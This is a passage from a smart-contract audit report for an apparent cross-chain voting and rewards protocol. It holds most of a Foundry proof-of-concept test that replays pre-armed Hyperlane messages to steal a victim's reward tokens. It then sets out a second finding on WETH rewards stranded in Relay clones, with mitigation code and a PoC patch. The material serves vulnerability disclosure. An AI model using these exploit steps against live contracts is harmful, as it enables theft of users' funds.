247 + assertEq(_pocStolen0, _POC_ARMED * _pocHonest0, 'DAMAGE: N armed messages took exactly N
    periods of token0');
248 + assertEq(_pocStolen1, _POC_ARMED * _pocHonest1, 'DAMAGE: N armed messages took exactly N
    periods of token1');
249 +
250 + // DAMAGE 4: the last message was armed nine weeks before it was redeemed. Claims carry
    no expiry, and
251 + //          'Mailbox.process' applies no TTL, so the delay is bounded by nothing in
    either codebase.
252 + assertGe(block.timestamp - _pocArmedAt, 9 weeks, 'redeemed nine weeks after the seller
    lost authority');
253 +
254 + // ===== THE NUMBERS =====
255 + assertEq(_pocArmingCost, _POC_ARMED * _pocArmFee, 'the whole magazine cost this much
    ETH');
256 + assertLt(_pocArmFee * 6, _pocHonestFee, 'arming at the gas floor is >6x cheaper than an
    honest claim');
257 +
258 + emit log_named_uint('armed messages', _POC_ARMED);
259 + emit log_named_uint('total arming cost (wei)', _pocArmingCost);
260 + emit log_named_uint('one honestly funded claim (wei)', _pocHonestFee);
261 + emit log_named_uint('token0 stolen (both harvests)', _pocStolen0);
262 + emit log_named_uint('token1 stolen (both harvests)', _pocStolen1);

```

DIFF

```

263 +     emit log_named_uint('token0 one period is worth to owner  ', _pocHonest0);
264 +     emit log_named_uint('token1 one period is worth to owner  ', _pocHonest1);
265 +     emit log_named_uint('weeks between arming and last redeem ', (block.timestamp -
    _pocArmedAt) / 1 weeks);
266 + }
267 +
268 + /// @dev EXPLOIT. Any address delivers a previously armed message; accumulates what the
    attacker received.
269 + function _pocDetonate(uint256 _index) private {
270 +     uint256 _before0 = _pocT0.balanceOf(_POC_ATTACKER);
271 +     uint256 _before1 = _pocT1.balanceOf(_POC_ATTACKER);
272 +
273 +     vm.prank(_POC_ANYONE); // no roles, no approval, no relationship to the token
274 +     _pocLeafMailbox.process('', _pocArmed[_index]);
275 +
276 +     _pocStolen0 += _pocT0.balanceOf(_POC_ATTACKER) - _before0;
277 +     _pocStolen1 += _pocT1.balanceOf(_POC_ATTACKER) - _before1;
278 + }
279 +
280 + /*//////////////////////////////////////
281 +     POC HELPERS
282 +     //////////////////////////////////*/
283 +
284 + /// @dev One `ClaimRewards` leg naming `_recipient` as the frozen payout address.
285 + function _pocClaimParams(
286 +     address _recipient,
287 +     uint256 _value,
288 +     uint256 _gasLimit
289 + ) private view returns (IVoter.ClaimRewardsParams[] memory _params) {
290 +     ILeafVoter.FeeClaim[] memory _feeClaims = new ILeafVoter.FeeClaim[](1);
291 +     _feeClaims[0] = ILeafVoter.FeeClaim({votingRewardsManager: address(_pocVrm),
    maxCheckpoints: 1000});
292 +     _params = new IVoter.ClaimRewardsParams[](1);
293 +     _params[0] = IVoter.ClaimRewardsParams({

```

DIFF

```
294 +     chainId: _POC_LEAF_CHAIN,
295 +     gasLimit: _gasLimit,
296 +     value: _value,
297 +     recipient: _recipient,
298 +     feeClaims: _feeClaims,
299 +     incentiveClaims: new ILeafVoter.IncentiveClaim[](0)
300 + });
301 + }
302 +
303 + /// @dev The rightful owner claims to themselves through the front door; returns what they
304 + received.
305 +
306 + function _pocVictimClaim() private returns (uint256 _got0, uint256 _got1) {
307 +     uint256 _fee = _pocFee(_POC_HONEST_GAS);
308 +     vm.deal(_POC_VICTIM, _POC_VICTIM.balance + _fee);
309 +     uint256 _before0 = _pocT0.balanceOf(_POC_VICTIM);
310 +     uint256 _before1 = _pocT1.balanceOf(_POC_VICTIM);
311 +
312 +     vm.recordLogs();
313 +     vm.prank(_POC_VICTIM);
314 +     _pocVoter.claimRewards{value: _fee}(
315 +         _pocTokenId, _pocClaimParams(_POC_VICTIM, _fee, _POC_HONEST_GAS), _POC_VICTIM
316 +     );
317 +     _pocRelay(_pocLeafMailbox);
318 +
319 +     _got0 = _pocT0.balanceOf(_POC_VICTIM) - _before0;
320 +     _got1 = _pocT1.balanceOf(_POC_VICTIM) - _before1;
321 + }
322 +
323 + /// @dev The interchain gas payment the transport charges for a message with this
324 + destination gas budget.
325 +
326 + function _pocFee(uint256 _gasLimit) private view returns (uint256 _fee) {
327 +     _fee = _pocIgp.quoteGasPayment(_POC_LEAF_DOMAIN,
328 +         _pocIgp.destinationGasLimit(_POC_LEAF_DOMAIN, _gasLimit));
329 + }
```

DIFF

```
325 +
326 + /// @dev Real trading activity: swaps both ways, then time passes. Fees accrue to the
    staked gauge.
327 + function _pocAccrueFees() private {
328 +     _pocSwap(_POC_SWAP, true);
329 +     _pocSwap(_POC_SWAP, false);
330 +     vm.warp(block.timestamp + _POC_ACCRUAL);
331 + }
332 +
333 + /// @dev A plain swap straight against the production 'Pool'.
334 + function _pocSwap(uint256 _amountIn, bool _zeroForOne) private {
335 +     TestERC20 _tokenIn = _zeroForOne ? _pocT0 : _pocT1;
336 +     _tokenIn.mint(_POC_TRADER, _amountIn);
337 +     uint256 _out = IPool(_pocPool).getAmountOutWithTotalFee(_amountIn, address(_tokenIn));
338 +     vm.startPrank(_POC_TRADER);
339 +     _tokenIn.transfer(_pocPool, _amountIn);
340 +     IPool(_pocPool).swap(_zeroForOne ? 0 : _out, _zeroForOne ? _out : 0, _POC_TRADER, '');
341 +     vm.stopPrank();
342 + }
343 +
344 + /// @dev SETUP ONLY. An LP seeds the pool and stakes its whole position, so the gauge
    earns the fees.
345 + function _pocSeedLiquidityAndStake() private {
346 +     _pocT0.mint(_POC_LP, _POC_LIQ);
347 +     _pocT1.mint(_POC_LP, _POC_LIQ);
348 +     vm.startPrank(_POC_LP);
349 +     _pocT0.transfer(_pocPool, _POC_LIQ);
350 +     _pocT1.transfer(_pocPool, _POC_LIQ);
351 +     uint256 _lp = IPool(_pocPool).mint(_POC_LP);
352 +     IERC20(_pocPool).approve(_pocGauge, _lp);
353 +     IGauge(_pocGauge).deposit(_lp);
354 +     vm.stopPrank();
355 + }
```

DIFF

```
356 +
357 + /// @dev SETUP ONLY. The attacker stakes AERO, books the weight on the leaf and votes for
    the gauge.
358 + function _pocStakeAndVote() private {
359 +     vm.prank(_POC_MIGRATION);
360 +     _pocToken.transfer(_POC_ATTACKER, _POC_STAKE);
361 +     vm.deal(_POC_ATTACKER, 1 ether);
362 +
363 +     vm.startPrank(_POC_ATTACKER);
364 +     _pocToken.approve(address(_pocVe), _POC_STAKE);
365 +     _pocTokenId = _pocVe.createStake(_POC_STAKE, 0, true); // permanent stake: constant
    weight
366 +     vm.stopPrank();
367 +
368 +     uint256 _fee = _pocFee(_POC_HONEST_GAS);
369 +
370 +     IVoter.ChainAllocationDispatch[] memory _chains = new IVoter.ChainAllocationDispatch[]
    (1);
371 +     _chains[0] = IVoter.ChainAllocationDispatch({
372 +         chainId: _POC_LEAF_CHAIN, delta: _POC_STAKE, gasLimit: _POC_HONEST_GAS, value: _fee
373 +     });
374 +     vm.recordLogs();
375 +     vm.prank(_POC_ATTACKER);
376 +     _pocVoter.allocateChains{value: _fee}(_pocTokenId, _chains, _POC_ATTACKER);
377 +     _pocRelay(_pocLeafMailbox);
378 +
379 +     IVoterCommon.GaugeAllocation[] memory _votes = new IVoterCommon.GaugeAllocation[](1);
380 +     _votes[0] = IVoterCommon.GaugeAllocation({gauge: _pocGauge, allocated: _POC_STAKE, data:
    ''});
381 +     vm.recordLogs();
382 +     vm.prank(_POC_ATTACKER);
383 +     _pocVoter.allocateGauges{value: _fee}(_pocTokenId, _POC_LEAF_CHAIN, _votes,
    _POC_HONEST_GAS, _POC_ATTACKER);
384 +     _pocRelay(_pocLeafMailbox);
```

DIFF

```

385 +   assertEq(_pocLeafVoter.allocations(_pocTokenId, _pocGauge), _POC_STAKE, 'the vote landed
    on the leaf');
386 + }
387 +
388 + /// @dev SETUP ONLY. Deploys the full production stack on both sides and performs the
    governance wiring.
389 + function _pocDeploySystem() private {
390 +   vm.chainId(_POC_ROOT_CHAIN);
391 +   vm.warp((block.timestamp / 1 weeks) * 1 weeks + 1 weeks);
392 +   uint48 _migrationOpen = uint48(block.timestamp + 1 weeks);
393 +
394 +   _pocDeployRootStack(_migrationOpen);
395 +   _pocDeployTransport();
396 +   _pocDeployLeafStack();
397 +   _pocDeployPoolAndGauge();
398 +   _pocWire();
399 +
400 +   // Past 'migrationOpen + 1 week', so AERO transfers are open and the Minter's emissions
    are live.
401 +   vm.warp(uint256(_migrationOpen) + 2 weeks);
402 + }
403 +
404 + /// @dev SETUP ONLY. Root chain: AERO, the escrow, the Minter/Splitter pair, the Voter and
    its orchestrator.
405 + function _pocDeployRootStack(uint48 _migrationOpen) private {
406 +   uint256 _n = vm.getNonce(address(this));
407 +   address _aRootMo = _computeCreate(address(this), _n);
408 +   address _aVoter = _computeCreate(address(this), _n + 1);
409 +   address _aVe = _computeCreate(address(this), _n + 2);
410 +   address _aSplitter = _computeCreate(address(this), _n + 3);
411 +   address _aMinter = _computeCreate(address(this), _n + 4);
412 +   address _aToken = _computeCreate(address(this), _n + 5);
413 +
414 +   _pocRootMo = new RootMessageOrchestrator(_aVoter);

```

DIFF

```
415 +   _pocVoter = new Voter({
416 +       _orchestrator: _aRootMo,
417 +       _votingEscrow: _aVe,
418 +       _minter: _aMinter,
419 +       _token: _aToken,
420 +       _adapterAuthority: _ADAPTER_AUTHORITY,
421 +       _governor: _GOVERNOR,
422 +       _configAdmin: _CONFIG_ADMIN,
423 +       _maxAllocationAge: _POC_MAX_AGE
424 +   });
425 +   _pocVe = new VotingEscrow(
426 +       IVotingEscrow.Contracts({token: _aToken, voter: _aVoter, artProxy: _POC_ART_PROXY}),
427 +       IVotingEscrow.Admins({vpmAdmin: _CONFIG_ADMIN, artProxyAdmin: _CONFIG_ADMIN,
428 +       burnFeesAdmin: _CONFIG_ADMIN})
429 +   );
430 +   address[] memory _recipients = new address[](1);
431 +   uint256[] memory _shares = new uint256[](1);
432 +   _recipients[0] = _POC_TEAM;
433 +   _shares[0] = MAX_PIPS;
434 +   new Splitter(_aToken, _aVoter, _recipients, _shares);
435 +
436 +   _pocMinter = new Minter(
437 +       IMinter.ConstructorParams({
438 +           token: _aToken,
439 +           voter: _aVoter,
440 +           splitter: _aSplitter,
441 +           operator: _GOVERNOR,
442 +           migrationOpen: _migrationOpen,
443 +           initialBaseRate: 1e18,
444 +           maxBaseRateChangePips: 10_000,
445 +           baseRateUpdateCooldown: 1 weeks,
446 +           teamRate: 0,
```

DIFF

```
447 +         maxBaseRateChangePipsCap: 50_000,
448 +         minBaseRateUpdateCooldown: 1 hours,
449 +         maxBaseRateUpdateCooldown: 4 weeks,
450 +         maxBandFloorPips: 500_000,
451 +         maxBandCeilingPips: 1_000_000
452 +     })
453 + );
454 +     _pocToken =
455 +         new Token(_aMinter, _aVe, _POC_MIGRATION, _POC_VELO_MIGRATION, _migrationOpen,
456 +             _POC_SUPPLY, 0, 'AERO', 'AERO');
457 +
458 +     /// @dev SETUP ONLY. Hyperlane's own transport on both chains, priced off the live Base ->
459 +     /// Optimism config.
460 +     function _pocDeployTransport() private {
461 +         TestIsm _ism = new TestIsm();
462 +         TestPostDispatchHook _requiredHook = new TestPostDispatchHook();
463 +         _pocIgp = new TestInterchainGasPaymaster();
464 +         InterchainGasPaymaster.GasParam[] memory _configs = new
465 +             InterchainGasPaymaster.GasParam[](1);
466 +         _configs[0] = InterchainGasPaymaster.GasParam({
467 +             remoteDomain: _POC_LEAF_DOMAIN,
468 +             config: InterchainGasPaymaster.DomainGasConfig({
469 +                 gasOracle: IGasOracle(address(_pocIgp)), gasOverhead: _POC_GAS_OVERHEAD
470 +             })
471 +         });
472 +         _pocIgp.setDestinationGasConfigs(_configs);
473 +         _pocRootMailbox = new Mailbox(_POC_ROOT_DOMAIN);
474 +         _pocRootMailbox.initialize(address(this), address(_ism), address(_pocIgp),
475 +             address(_requiredHook));
476 +         _pocLeafMailbox = new Mailbox(_POC_LEAF_DOMAIN);
```

DIFF

```
476 +   _pocLeafMailbox.initialize(address(this), address(_ism), address(_pocIgp),
      address(_requiredHook));
477 + }
478 +
479 + /// @dev SETUP ONLY. Leaf chain: the orchestrator, the receipt token, the registry and the
      LeafVoter.
480 + function _pocDeployLeafStack() private {
481 +   uint256 _n = vm.getNonce(address(this));
482 +   address _aLeafMo = _computeCreate(address(this), _n);
483 +   address _aReceipt = _computeCreate(address(this), _n + 1);
484 +   address _aRegistry = _computeCreate(address(this), _n + 2);
485 +   address _aGaugeManager = _computeCreate(address(this), _n + 3);
486 +   address _aHandler = _computeCreate(address(this), _n + 4);
487 +   address _aLeafVoter = _computeCreate(address(this), _n + 5);
488 +
489 +   _pocLeafMo = new LeafMessageOrchestrator(_aLeafVoter, _POC_ROOT_CHAIN);
490 +   new ReceiptToken(_aLeafVoter, 'rAERO', 'rAERO');
491 +   _pocRegistry = new FactoryRegistry(address(0), _aLeafVoter);
492 +   _pocGaugeManager = new GaugeManager(_aRegistry, _aLeafVoter);
493 +   new LeafEmissionsHandler(_aLeafVoter, _aReceipt);
494 +   _pocLeafVoter = new LeafVoter({
495 +     _governor: _GOVERNOR,
496 +     _configAdmin: _CONFIG_ADMIN,
497 +     _leafMessageOrchestrator: _aLeafMo,
498 +     _receiptToken: _aReceipt,
499 +     _factoryRegistry: _aRegistry,
500 +     _gaugeManager: _aGaugeManager,
501 +     _allocationCooldown: _POC_COOLDOWN,
502 +     _maxGauges: _POC_MAX_GAUGES,
503 +     _adapterAuthority: _ADAPTER_AUTHORITY,
504 +     _emissionsHandler: _aHandler,
505 +     _emergencyCouncil: _EMERGENCY_COUNCIL
506 +   });
```

DIFF

```
507 + }
508 +
509 + /// @dev SETUP ONLY. The real AMM and gauge units: pool factory, pool, gauge factory,
509 + gauge and its VRM.
510 + function _pocDeployPoolAndGauge() private {
511 +     MockWETH _weth = new MockWETH();
512 +     TestERC20 _a = new TestERC20('Fee Token A', 'FTA', 18);
513 +     TestERC20 _b = new TestERC20('Fee Token B', 'FTB', 18);
514 +     (_pocT0, _pocT1) = _a < _b ? (_a, _b) : (_b, _a);
515 +
516 +     VolatilePool _impl = new VolatilePool();
517 +     _pocPoolFactory = new VolatilePoolFactory({
518 +         _implementation: address(_impl),
519 +         _poolAdmin: _POC_OWNER,
520 +         _pauser: _POC_OWNER,
521 +         _feeManager: _POC_OWNER,
522 +         _discountRegistryManager: _POC_OWNER,
523 +         _poolTapeManager: _POC_OWNER,
524 +         _factoryRegistry: address(_pocRegistry)
525 +     });
526 +
527 +     VotingRewardsFactory _vrf = new VotingRewardsFactory(address(_pocLeafVoter),
527 + address(_weth));
528 +     _pocGaugeFactory = new GaugeFactory(
529 +         IGaugeFactory.InitParams({
530 +             leafVoter: address(_pocLeafVoter),
531 +             votingRewardsFactory: address(_vrf),
532 +             isStable: false,
533 +             capAdmin: _POC_OWNER,
534 +             referralAdmin: _POC_OWNER,
535 +             penaltyAdmin: _POC_OWNER,
536 +             capOperator: _POC_OWNER,
537 +             defaultCap: type(uint128).max,
```

DIFF

```
538 +         operatorMinCap: 1,
539 +         operatorMaxCap: type(uint128).max,
540 +         maxMinStakeBlocks: 10
541 +     })
542 + );
543 + _pocModule = new GovernanceCreationModule(address(_pocLeafVoter));
544 +
545 + vm.startPrank(_CONFIG_ADMIN);
546 + IAccessControl(address(_pocLeafVoter)).grantRole(Roles.FACTORY_REGISTRY_ADMIN_ROLE,
    _CONFIG_ADMIN);
547 + IAccessControl(address(_pocLeafVoter)).grantRole(Roles.MODULE_ADMIN_ROLE,
    _CONFIG_ADMIN);
548 + _pocRegistry.registerFactories({
549 +     _gaugeFactory: address(_pocGaugeFactory), _targetFactory: address(_pocPoolFactory)
550 + });
551 + _pocGaugeManager.registerModule(address(_pocModule));
552 + vm.stopPrank();
553 +
554 + // Pool creation is permissionless.
555 + _pocPool = _pocPoolFactory.createPool(address(_pocT0), address(_pocT1));
556 +
557 + vm.prank(_GOVERNOR);
558 + _pocGauge = _pocModule.createGauge(_pocPool, address(_pocGaugeFactory), '', true);
559 + _pocVrm = VotingRewardsManager(payable(_pocRegistry.gaugeToRewards(_pocGauge)));
560 + assertEq(_pocRegistry.rewardsToGauge(address(_pocVrm)), _pocGauge, 'the VRM is
    registered to the gauge');
561 + }
562 +
563 + /// @dev SETUP ONLY. Adapters and chain registration, the wiring a real deployment
    performs.
564 + function _pocWire() private {
565 +     HyperlaneAdapter _rootAdapter = new HyperlaneAdapter(
566 +         _POC_LEAF_CHAIN, _POC_LEAF_DOMAIN, address(_pocRootMo), address(_pocRootMailbox),
        address(_pocVoter)
```

DIFF

```

567 +   );

568 +   // The leaf adapter is deployed on the leaf chain in production; mirror that so its
    constructor's

569 +   // "remote chain must not be the local chain" check sees the same world it would see
    there.

570 +   vm.chainId(_POC_LEAF_CHAIN);

571 +   HyperlaneAdapter _leafAdapter = new HyperlaneAdapter(

572 +       _POC_ROOT_CHAIN, _POC_ROOT_DOMAIN, address(_pocLeafMo), address(_pocLeafMailbox),
    address(_pocLeafVoter)

573 +   );

574 +   vm.chainId(_POC_ROOT_CHAIN);

575 +

576 +   vm.startPrank(_CONFIG_ADMIN);

577 +   IAccessControl(address(_pocVoter)).grantRole(Roles.CHAIN_CONFIG_ROLE, _CONFIG_ADMIN);

578 +   _pocVoter.registerChain(_POC_LEAF_CHAIN);

579 +   vm.stopPrank();

580 +

581 +   vm.startPrank(_ADAPTER_AUTHORITY);

582 +   _pocRootMo.setAdapter(_POC_LEAF_CHAIN, IMessageAdapter(address(_rootAdapter)));

583 +   _rootAdapter.setRemoteAdapter(bytes32(uint256(uint160(address(_leafAdapter)))))

584 +   _pocLeafMo.setAdapter(IMessageAdapter(address(_leafAdapter)));

585 +   _leafAdapter.setRemoteAdapter(bytes32(uint256(uint160(address(_rootAdapter)))))

586 +   vm.stopPrank();

587 + }

588 +

589 + /// @dev The permissionless relayer: takes the message the origin mailbox just dispatched
    and delivers it.

590 + function _pocRelay(Mailbox _destination) private {

591 +     _destination.process('', _pocLastDispatch());

592 + }

593 +

594 + /// @dev Reads the raw message out of the 'Dispatch' event the origin mailbox emitted.

595 + function _pocLastDispatch() private returns (bytes memory _message) {

596 +     Vm.Log[] memory _logs = vm.getRecordedLogs();

```

DIFF

```
597 + bytes32 _topic = keccak256('Dispatch(address,uint32,bytes32,bytes)');
598 + for (uint256 _i = _logs.length; _i > 0; --_i) {
599 +     if (_logs[_i - 1].topics[0] == _topic) return abi.decode(_logs[_i - 1].data, (bytes));
600 + }
601 + revert('no Dispatch event recorded');
602 + }
603 }
```

Relay root-chain WETH rewards are permanently stranded by a native-ETH payout

Location	—
----------	---

Summary

`RelayRewardsLib.recipientFor` hardcodes the root-chain reward recipient to the Relay itself, and `VotingRewardsManager._transferReward` unwraps WETH to native ETH before paying. A Relay is an immutable EIP-1167 clone with no `receive()` or `fallback()`, so every root-chain claim that carries a WETH leg reverts, and the paired non-WETH leg reverts with it. There is no recipient override, no operator path and no rescue function, so the rewards are lost permanently.

Finding Description

A Relay's only way to request its root-chain rewards is `RelayBase.claimRewards`, which resolves the recipient through `RelayRewardsLib.recipientFor`:

SOLIDITY

```
1  if (_chainId == block.chainid) return address(this); // returns before reading
    _leafRecipient

2  _recipient = _leafRecipient[_chainId];
```

The payout side unwraps (`VotingRewardsManager.sol:594-603`):

SOLIDITY

```
1  if (_token == wrappedNative) {

2      IWETH(wrappedNative).withdraw(_amount);

3      SafeTransferLib.safeTransferETH(_recipient, _amount);

4  }
```

`RelayBase` declares no `receive()` and no `fallback()`, and neither do `OwnableRoles`, `ReentrancyGuardTransient` or `RelayRoles`; the only three payable receivers in `V3/src` are `Metarouter`, `LeafMessageOrchestrator` and `VotingRewardsManager` itself. Relays are deployed by `Clones.cloneDeterministic` (`RelayFactory.sol:177-179`), so the bytecode is 45 bytes and cannot be changed. `safeTransferETH` reverts `ETHTransferFailed()`, which takes down the whole `claimFees` frame — including the ERC-20 leg for the paired token, which `_claimFees` transfers in the same call. `LeafVoter` wraps the call in `try/catch` (`LeafVoter.sol:756-761`), so the outer transaction succeeds and only a `FeeClaimFailed`

event marks the loss.

Nothing can recover the funds:

- The recipient cannot be re-pointed, and the attempt looks like it works. `RelayConfigLib.proposeLeafRecipient / executeLeafRecipient (:53-82)` apply no chain-id gate, so an ADMIN can set `leafRecipient[block.chainid]` to a payable address; the calls succeed and emit `LeafRecipientProposed` and `LeafRecipientSet`. `recipientFor` returns at line 459 without ever reading the mapping, so the stored value is dead. The operator gets every signal that the fix landed and none of the effect.
- The leaf-operator escape hatch is unreachable. `LeafVoter.claimRewards` accepts an arbitrary recipient from `tokenStates[_tokenId].operator`, but the operator can only be set via `Voter.setOperator`, gated by `onlyAuthorizedForToken`. The Relay's entire Voter surface is `allocationChainAmounts`, `allocate`, `allocateGauges`, `emergencyDeallocate` and `claimRewards` — `setOperator` is not reachable from any Relay code path.
- The unwrap cannot be disabled in production. `VotingRewardsManager`'s natspec offers a zero `wrappedNative` to turn unwrapping off, but `VotingRewardsFactory`'s constructor (:29-31) reverts `ZeroAddress()` on zero, and every production VRM comes from that factory.
- There is no rescue path. `FeeDistribution` exposes no external functions at all, and the VRM's `sweep` serves only an incentive program's creator. The Relay's fee share is reserved to its `tokenId` and claimable by nobody else.

The same `_transferReward` serves `_claimIncentives` (`VotingRewardsManager.sol:582`), so any WETH-denominated incentive program the Relay is owed dies identically — and `createIncentiveProgram` is permissionless, so a third party can create the program the Relay then cannot collect.

This is not operator error. The keeper holding `VOTER_ROLE` picks the gauge; the PT and YT holders absorb the loss. Nothing in `AllocationLib.allocate` or `Voter.allocate` restricts pool token types, and the protocol's own accepted-behaviour register states the rule this violates: "A guard earns its bytecode when the party that makes the mistake is not the party that pays for it."

Note that adding a `receive()` to `RelayBase` would not be sufficient even for a future deployment: the Relay's reward accounting is entirely ERC-20-address-keyed — `notifyReward`, `pull`, `sweep` and `compound` all price against `IERC20(_token).balanceOf(address(this)) - _accountedBalance[_token]` — so native ETH would move from unreachable to merely unaccounted.

Likelihood (High)

The only precondition is a Relay voting a WETH-paired root gauge that has earned fees — the default strategy on Base, where WETH is the dominant quote asset and root is also a leaf, with no code restricting gauge or token types. No attacker, role abuse, timing window or unusual state is required: the Relay's own keeper hits

the failure on a routine claim, and the `try/catch` in `LeafVoter` means it succeeds silently every time.

Impact (High)

Every root-chain WETH-denominated fee and incentive reward owed to a Relay is permanently lost, along with the paired non-WETH leg of each claim, on every WETH-paired gauge the Relay votes — the PoC measures 0.0599999999999989 WETH and 239.999 USDC stranded against an identically-staked EOA voter who collects both in the same block. The loss falls on the Relay's PT holders (lost compound-driven price-per-share growth) and YT holders (lost `notifyReward` stream), scales with vote share and fee volume, accumulates without bound, and is irreversible.

Mitigation

Sever the chain at either link. On the recipient side, let the owner-configured `leafRecipient[block.chainid]` override the root branch of `recipientFor`, or reject a resolved recipient that cannot accept the claimed denomination — the mapping is already written, timelocked and evented for exactly this purpose, it is simply never read. Independently, on the settlement side, have `_transferReward` fall back to a plain ERC-20 transfer of the wrapped token when the native transfer fails, rather than reverting the whole claim:

SOLIDITY

```
1  if (_token == wrappedNative && _recipient.code.length == 0) {
2      IWETH(wrappedNative).withdraw(_amount);
3      SafeTransferLib.safeTransferETH(_recipient, _amount);
4  } else {
5      IERC20(_token).safeTransfer(_recipient, _amount);
6  }
```

At minimum, gate `proposeLeafRecipient` against `block.chainid` so an operator cannot be told a root-recipient change succeeded when it has no effect.

Proof of Concept

Runs the full production stack with no mocks on the exploit path: `real Token/VotingEscrow/ Minter/Voter/ RootMessageOrchestrator/RootLocalAdapter/LeafMessageOrchestrator/LeafVoter/ FactoryRegistry/ VolatilePoolFactory/Pool/GaugeManager/GaugeFactory/V2Gauge/ VotingRewardsFactory/ VotingRewardsManager`, and a real `MaxiRelay` EIP-1167 clone created by the real `RelayFactory`. Real liquidity is staked in the gauge and real swaps generate the WETH and USDC fees.

An unprivileged EOA then calls the permissionless `RelayBase.claimRewards` four times across three weeks. Every attempt reverts inside `MockWETH::withdraw -> MaxiRelay::fallback{value: ...} -> ETHTransferFailed()` and is swallowed as `FeeClaimFailed`; the Relay's balances stay at zero in all three

denominations and `feeClaimState` stays at `(0, 0)`. A control leg then has an identically-staked ordinary EOA voter claim from the same `VotingRewardsManager` on the same gauge in the same block — and it succeeds, isolating the cause to the Relay's hardcoded non-payable recipient.

```
1 Relay WETH stranded (wei):      0.059999999999989000
2 Relay USDC stranded (units):    239.999000
3 Solo voter ETH received (wei):  0.059999999999989000
```

Save the diff below as `relay-native-payout-poc.patch` in the audit repo root (paths are `metadex/...`), then:

```
1 git apply relay-native-payout-poc.patch
2 cd metadex
3 forge test --match-test test_POE_RelayRootWethRewardsPermanentlyStranded -vv
```

DIFF

```
1 diff --git a/metadex/V3/test/E2E/ClaimRewardsFlow.t.sol b/metadex/V3/test/E2E/
  ClaimRewardsFlow.t.sol
2 index 1b2218c..22ef73c 100644
3 --- a/metadex/V3/test/E2E/ClaimRewardsFlow.t.sol
4 +++ b/metadex/V3/test/E2E/ClaimRewardsFlow.t.sol
5 @@ -4,16 +4,48 @@ pragma solidity 0.8.30;
6   import {IAccessControl} from '@openzeppelin/contracts/access/IAccessControl.sol';
7
8   import {TestHelpers} from 'V3-test/Utils/TestHelpers.sol';
9   +import {MockWETH} from 'V3-test/mocks/MockWETH.sol';
10  +import {TestERC20} from 'V3-test/mocks/TestERC20.sol';
11
12  import {LeafMessageOrchestrator} from 'V3/bridge/LeafMessageOrchestrator.sol';
13  import {RootLocalAdapter} from 'V3/bridge/RootLocalAdapter.sol';
14  import {RootMessageOrchestrator} from 'V3/bridge/RootMessageOrchestrator.sol';
15  +import {VotingEscrow} from 'V3/core/VotingEscrow.sol';
16  +import {FactoryRegistry} from 'V3/factories/FactoryRegistry.sol';
17  +import {GaugeFactory} from 'V3/factories/GaugeFactory.sol';
18  +import {PoolFactory} from 'V3/factories/PoolFactory.sol';
19  +import {VolatilePoolFactory} from 'V3/factories/VolatilePoolFactory.sol';
20  +import {GaugeManager} from 'V3/gauge-creation/GaugeManager.sol';
```

DIFF

```

21  +import {GovernanceCreationModule} from 'V3/gauge-creation/GovernanceCreationModule.sol';
22  +import {V2Gauge} from 'V3/gauges/V2Gauge.sol';
23  +import {Pool} from 'V3/pools/Pool.sol';
24  +import {VolatilePool} from 'V3/pools/VolatilePool.sol';
25  +import {Compounder} from 'V3/relay/entrypoints/Compounder.sol';
26  +import {MaxiRelay} from 'V3/relay/MaxiRelay.sol';
27  +import {ProtocolRelay} from 'V3/relay/ProtocolRelay.sol';
28  +import {RelayFactory} from 'V3/relay/RelayFactory.sol';
29  +import {RelayToken} from 'V3/relay/RelayToken.sol';
30  +import {RelayTokenVotes} from 'V3/relay/RelayTokenVotes.sol';
31  +import {RelayVoteAdapter} from 'V3/relay/RelayVoteAdapter.sol';
32  +import {VotingRewardsFactory} from 'V3/rewards/VotingRewardsFactory.sol';
33  +import {VotingRewardsManager} from 'V3/rewards/VotingRewardsManager.sol';
34  +import {VoterPaymentsModule} from 'V3/vpm/VoterPaymentsModule.sol';
35  +import {Minter} from 'V3/minter/Minter.sol';
36  +import {IMinter} from 'V3/interfaces/minter/IMinter.sol';
37  +import {VelodromeTimeLibrary} from 'V3/libraries/VelodromeTimeLibrary.sol';
38  +
39  import {IMessageAdapter} from 'V3/interfaces/bridge/IMessageAdapter.sol';
40  import {IMessageOrchestrator} from 'V3/interfaces/bridge/IMessageOrchestrator.sol';
41  import {IRootMessageOrchestrator} from 'V3/interfaces/bridge/IRootMessageOrchestrator.sol';
42  import {IVotingEscrow} from 'V3/interfaces/core/IVotingEscrow.sol';
43  import {IFactoryRegistry} from 'V3/interfaces/factories/IFactoryRegistry.sol';
44  +import {IGaugeFactory} from 'V3/interfaces/factories/IGaugeFactory.sol';
45  +import {IGovernor} from 'V3/interfaces/governor/IGovernor.sol';
46  +import {IRelay} from 'V3/interfaces/relay/IRelay.sol';
47  +import {IRelayFactory} from 'V3/interfaces/relay/IRelayFactory.sol';
48  +import {IRelayVoteAdapter} from 'V3/interfaces/relay/IRelayVoteAdapter.sol';
49  import {IVotingRewardsManager} from 'V3/interfaces/rewards/IVotingRewardsManager.sol';
50  +import {IVoterPaymentsModule} from 'V3/interfaces/vpm/IVoterPaymentsModule.sol';
51  import {ILeafVoter} from 'V3/interfaces/voter/ILeafVoter.sol';
52  import {IVoter} from 'V3/interfaces/voter/IVoter.sol';

```

DIFF

```

53     import {IVoterCommon} from 'V3/interfaces/voter/IVoterCommon.sol';
54     @@ -245,3 +277,462 @@ contract E2EClaimRewardsFlowClaimRewards is TestHelpers {
55         );
56     }
57 }
58 +
59 +/**
60 + * @notice PoC: the Relay's root-chain WETH-denominated rewards are permanently unclaimable.
61 + * @dev      Full production stack, no mocks on the exploit path: real Token/VotingEscrow/
62 + *           Voter/
63 + *           RootMessageOrchestrator/RootLocalAdapter/LeafMessageOrchestrator/LeafVoter/
64 + *           FactoryRegistry/
65 + *           PoolFactory/Pool/GaugeManager/GaugeFactory/V2Gauge/VotingRewardsFactory/
66 + *           VotingRewardsManager
67 + *           and a real MaxiRelay clone created by the real RelayFactory.
68 + */
69 +contract E2EClaimRewardsFlowRelayNativePayout is TestHelpers {
70 +
71 +    uint48 internal constant _MAX_ALLOCATION_AGE = 1 hours;
72 +    uint48 internal constant _ALLOCATION_COOLDOWN = 1 hours;
73 +    uint256 internal constant _MAX_GAUGES = 25;
74 +
75 +    address internal _governance = makeAddr('Governance');
76 +    address internal _lp = makeAddr('LiquidityProvider');
77 +    address internal _relayKeeper = makeAddr('RelayKeeper');
78 +    address internal _attacker = makeAddr('UnprivilegedCaller');
79 +    address internal _soloVoter = makeAddr('SoloVoter');
80 +
81 +    TestERC20 internal _aero;
82 +    MockWETH internal _weth;
83 +    TestERC20 internal _usdc;
84 +
85 +    VotingEscrow internal _ve;
86 +    VoterPaymentsModule internal _vpm;
87 +    Minter internal _minter;

```

